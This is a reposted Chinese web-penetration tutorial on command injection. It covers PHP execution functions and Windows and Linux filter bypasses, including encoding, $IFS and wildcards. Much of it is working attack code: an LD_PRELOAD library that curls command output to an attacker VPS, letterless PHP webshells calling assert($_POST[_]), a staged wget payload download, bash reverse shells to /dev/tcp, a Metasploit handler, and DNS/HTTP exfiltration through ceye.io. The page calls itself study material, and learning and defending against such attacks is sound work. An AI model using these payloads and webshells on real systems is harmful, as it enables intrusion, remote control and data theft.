【Web渗透】命令执行漏洞

admin 2023年12月8日10:16:11评论32 views字数 10281阅读34分16秒阅读模式

一、命令执行介绍

1、命令执行漏洞原理

命令执行漏洞定义:Web应用程序接收用户输入,拼接到要执行的系统命令中执行。产生原因:1、用户输入未过滤或净化;2、拼接到系统命令中执行。

2、PHP下命令执行函数

在PHP中具有执行系统命令功能的函数如下:
1、system
2、exec
3、shell_exec
4、passthru
5、popen
6、proc_popen
7、`反引号
8、ob_start
9、mail函数+LD_PRELOAD执行系统命令
12345678910

使用示例:

LD_PRELOAD:

LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

//a.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(){

void payload() {
system("curl http://vps_IP:4123/?a=`whoami`");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
}
//编译
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

//mail.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("a@localhost","","","","");
?>
监听vps的4123端口,访问mail.php。
12345678910111213141516171819202122232425

ob_start:

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。
1234
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
//输出www-data
123456

提示:某些情况下,要注意存在以上函数的php文件,有可能是Webshell。

注:使用PHP.EXE传递参数时,如果有空格,一般在Windows 下使用双引号(“”), Linux 下使用单引号(’)括起来,否则将无法正常执行。

<?php
echo "<pre>";
if(isset($_GET["cmd"])){
system($_GET["cmd"]);
}
echo "</pre>";
?>
1234567

二、命令执行漏洞基础

1、Windows命令执行漏洞利用技巧

思路:截断输入,重新拼接。两条命令都输入并执行。

1.1、命令执行漏洞拼接符介绍

在Windows系统下的 cmd命令中,有以下一些截断拼接符。
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
12345

2、命令拼接

whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行
但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行
12345

可以加任意个"但不能同时连续加2个^ 符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义

set命令

知识点:用两个 % 括起来的变量,会输出变量的值

set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
1234

【Web渗透】命令执行漏洞

切割字符

set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行

set a=abc qwe //先自定义
wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
1234567

2、Linux命令执行漏洞利用技巧

2.1、命令执行漏洞拼接符介绍

在Linux系统下的shell命令中,有以下一些截断拼接符。
在Linux上,上面的;也可以用|、||代替
;前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数
||当前面的执行出错时执行后面的
& 无论前边语句真假都会执行
&& 只有前边语句为真,才会执行后边语句
%0a
%0d
123456789

& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。

命令终止符

%00
%20#
12

2.2、命令拼接

a=who
b=ami
$a$b //输出whoami

对于文件夹的内容,使用$(printf "路径")代替路径
12345

利用环境变量

【Web渗透】命令执行漏洞

可以通过截取不同的字符执行命令

${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
1234

2.3、空格绕过

$IFS
$IFS$1
${IFS}
$IFS$9
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09
123456789

这里解释一下 I F S , {IFS}, IFS,IFS,$IFS 9 的区别,首先 9的区别,首先 9的区别,首先IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat I F S 2 , b a s h 解释器会把整个 I F S 2 当做变量名,所以导致输不出来结果,然而如果加一个 就固定了变量名,同理在后面加个 IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个 IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个就固定了变量名,同理在后面加个可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串!

2.4、绕过关键字

反斜线绕过

whoami
1

双引号绕过

who"a"mi
1

单引号绕过

whoa'm'i
1

反引号绕过

whoam``i
1

base64绕过

echo d2hvYW1p|base64 -d|sh   其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash 其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` 将其base64解码,然后用反引号来执行命令
123

hex绕过

echo 77686F616D69 | xxd -r -p | bash  其中77686F616D69是whoami的hex编码
1

特殊字符绕过

//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt    在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
#cat被过滤时,还可以考虑使用tac命令
cat$x /etc/passwd
123456

重命名文件绕过

linux下创建文件的命令可以用1>1创建文件名为1的空文件

【Web渗透】命令执行漏洞

进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。

【Web渗透】命令执行漏洞

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加n

【Web渗透】命令执行漏洞

有了这个基础我们再来看这道题

<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
12345

简单的代码,可以利用

1>wget
1>域名.
1>com
1>-O
1>she
1>ll.p
1>p
ls>a
sh a
123456789

这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

ls -t>a
1

网络地址转化为数字地址

网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者[http://0x7F000001]这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp

2.5、骚操作

//字符夹命令
666`whoami`666 //bash: 666root666: command not found
666`whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间

//命令夹字符
w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行
w`f1hgb`ho`f1hgb`am`f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接
123456789

【Web渗透】命令执行漏洞

【Web渗透】命令执行漏洞

上述的是既可以绕过命令,又可以绕过文件名的,下述的则是只能用来绕过文件名的:

cat fl[abc]g.php                                 //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行

//正则
利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
12345678910

2.6、命令执行函数绕过

system("cat /etc/passwd")
<=>
"x73x79x73x74x65x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

123456789101112

3、Java 命令执行

这里之所以叫作Java 命令执行,是因为Java 体系非常庞大,其中包括:Java SE、Java EE、Java ME。而无论是分支还是框架,都是以Java SE 为基础的。

在Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令。像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少)。下面以 Runtime类为例进行说明。

【Web渗透】命令执行漏洞

模型代码如下

import java. io.InputStream;  //导包操作
import java. io.InputStreamReader;
import java. io.BufferedReader;
public class RuntimeTest{
public static void main (String args []) throws Exception{
if (args.length==0) {
System.exit(1); //没有参数就退出
}
String command = args[0];
Runtime run = Runtime.getRuntime();
Process pro = run. exec(command); //执行命令
InputStreamReader in = new InputStreamReader(pro.getInputStream());
BufferedReader buff = new BufferedReader(in);
for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
System.out.println(temp); //输出结果
}
buff .close();
in.close();
}
}
1234567891011121314151617181920

上面的代码经过编译后可以执行命令操作,如:java RuntimeTest “whoami”,执行命令操作。

如果程序开发人员没有正确地使用Runtime 类,就有可能造成Java 命令执行漏洞。像有名的Struts2 框架就存在命令执行漏洞。

三、命令执行高级技巧

1、无数字和字母的webshell

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
1234

1.1、字符串执行异或绕过

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
12345

1.2、位运算里的“取反”绕过

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"x8c",其取反即为字母s

echo ~('瞰'{1}); 输出:a
echo ~('和'{2}); 输出:s
echo ~('的'{1}); 输出:e
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
1234567891011

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

1.3、利用自增运算符

在处理字符变量的算数运算时,PHP沿袭了Perl 的习惯,而非C的。例如,在Perl中$a= ‘Z’; a + + ; 将把 a++;将把 a++;将把a变成AA’,而在C中,a= ‘Z’;a++;将把a变成中’[’ (‘Z’ 的ASCII值是90,'['的ASCII值是91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效,原字符串没有变化。

'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

【Web渗透】命令执行漏洞

【Web渗透】命令执行漏洞

再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
1234567891011121314151617181920212223242526272829303132333435

1.4、通配符

<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
12345678910111213

PHP7

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。

构造一个可以生成phpinfo这个字符串的PHP表达式

(~%8F%97%8F%96%91%99%90)();
1

PHP5

Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。

我们可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档

1.shell下可以利用.来执行任意脚本
2.Linux文件名支持用glob通配符代替
12
*可以代替0个及以上任意字符
?可以代表1个任意字符
12

例如ls命令我们可以通过以下语法代替执行:

/???/?s --help
1

但/tmp/phpXXXXXX就可以表示为/*/???或/???/???,能够匹配上这个通配符的文件有很多

glob支持用x的方法来构造“这个位置不是字符x”。

排除了第4个字符是-的文件

利用[@-[]来表示大写字母

。。。。。。

2、处理无回显的命令执行

2.1、利用自己的vps

2.1.1、是利用bash命令并在本地进行nc监听结果查看回连日志

先在vps处用nc进行监听
nc -l -p 8080 -vvv

然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
12345

2.1.2、msg反向回连

同样vps用msg监听

vps的msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
12345678

然后在靶机命令执行处输入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
1

2.2、利用ceye平台

记录在http request中

题目地址
http://192.168.10.55/

后台源码
<?php
$a = $_GET['id'];
system("$a");
?>

payload
curl http://192.168.10.55.o40fok.ceye.io/?id=`whoami`
只能使用linux的curl访问才会成功,在浏览器直接访问时无效的。
123456789101112

记录在dns query中

DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。

在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。
ping `whoami`.******.ceye.io
12

上面这条命令最终在ping的时候ping的是“root.**.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。

所以这种方法的使用必须有ping命令。

四、命令执行自动化工具基本使用

1、commix工具

Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。

项目地址:https://github.com/stasinopoulos/commix

在Kali linux自带了commix可以直接使用

commix -u http://192.168.1.106/cmd3.php?cmd=127.0.0.1
1
本文来源于互联网,只做学习交流,如有侵权请联系删除!原文链接:https://blog.csdn.net/qq_48904485/article/details/123638119


原文始发于微信公众号(信安学习笔记):【Web渗透】命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月8日10:16:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透】命令执行漏洞http://cn-sec.com/archives/2278557.html

发表评论

匿名网友 填写信息